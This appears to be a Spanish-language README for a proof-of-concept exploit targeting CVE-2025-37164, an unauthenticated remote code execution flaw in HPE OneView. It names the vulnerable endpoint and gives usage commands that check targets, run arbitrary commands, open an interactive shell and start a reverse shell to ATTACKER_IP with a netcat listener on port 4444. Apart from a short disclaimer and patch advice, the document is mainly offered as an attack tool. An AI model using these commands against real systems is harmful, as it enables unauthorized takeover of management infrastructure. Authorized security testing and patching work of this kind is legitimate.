
Prueba de concepto de exploit para CVE-2025-37164, una vulnerabilidad crítica de ejecución remota de código no autenticada en HPE OneView a través del endpoint /rest/id-pools/executeCommand.
Exploit de prueba de concepto para CVE-2025-37164, una vulnerabilidad crítica (CVSS 10.0) de ejecución remota de código no autenticado en HPE OneView.
ESTE SOFTWARE SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE PRUEBAS DE SEGURIDAD AUTORIZADAS.
| CVE ID | CVE-2025-37164 |
| CVSS Score | 10.0 (CRÍTICA) |
| Fabricante | Hewlett Packard Enterprise (HPE) |
| Producto | HPE OneView (versiones anteriores a la 11.0) |
| Tipo | Ejecución remota de código no autenticado |
| Parche | Actualice a HPE OneView 11.0 o superior |
Análisis Técnico: La vulnerabilidad existe en el endpoint PUT /rest/id-pools/executeCommand que no requiere autenticación y pasa la entrada controlada por el usuario directamente a Runtime.exec().
requests (pip install requests)# Test if target is vulnerable
python3 cve-2025-37164.py -t http://target-ip --check
# Execute a single command
python3 cve-2025-37164.py -t http://target-ip -c "id"
# Interactive command shell
python3 cve-2025-37164.py -t http://target-ip -i
# Attempt reverse shell (requires listener)
# On attacker machine: nc -lvnp 4444
python3 cve-2025-37164.py -t http://target-ip --lhost ATTACKER_IP --lport 4444